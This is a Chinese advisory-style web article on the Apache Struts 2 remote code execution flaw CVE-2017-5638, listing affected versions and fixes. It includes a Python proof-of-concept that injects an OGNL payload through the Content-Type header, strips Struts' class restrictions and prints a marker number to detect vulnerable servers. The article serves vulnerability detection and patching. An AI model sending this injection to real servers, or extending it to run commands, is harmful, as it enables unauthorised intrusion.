首页域名资讯 正文

修复CVE-2017-5638漏洞解决方案

2024-11-07 1 0条评论

漏洞简介

CVE-2017-5638是基于 Jakarta plugin插件的Struts远程代码执行漏洞。由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改HTTP请求头中的Content-Type值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令。

漏洞利用条件和方式:  

攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。

影响范围:

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

漏洞修复建议(或缓解措施):

Struts 2默认用Jakarta的Common-FileUpload的文件上传解析器,这是存在漏洞的,默认为以下配置:struts.multipart.parser=jakarta,指定其他类型的解析器,以使系统避免漏洞的影响,指定使用COS的文件上传解析器struts.multipart.parser=cos或指定使用Pell的文件上传解析器

阿里云建议升级Struts 到Struts 2.3.32 或 Struts 2.5.10.1 版本

阿里云云盾WAF已经支持该漏洞防御,

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

漏洞PoC

import requests

import sys

def poc(url):

payload = “%{(#test=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}”

headers = {}

headers[“Content-Type”] = payload

r = requests.get(url, headers=headers)

if “105059592” in r.content:

return True

return False

if __name__ == ‘__main__’:

if len(sys.argv) == 1:

print “python s2-045.py target”

sys.exit()

if poc(sys.argv[1]):

print”vulnerable”

else:

print “not vulnerable”


代码签名证书是保护开发者的劳动成果,给自己开发的软件签名的证书,保证代码在签名之后不被恶意篡改。用户可通过对代码的数字签名来标识软件来源,辨别软件开发者的真实身份。GDCA的代码签名证书支持多种代码签名,已通过WEBTRUST国际认证。

文章版权及转载声明

本文作者:亿网 网址:https://edns.com/ask/post/151234.html 发布于 2024-11-07
文章转载或复制请以超链接形式并注明出处。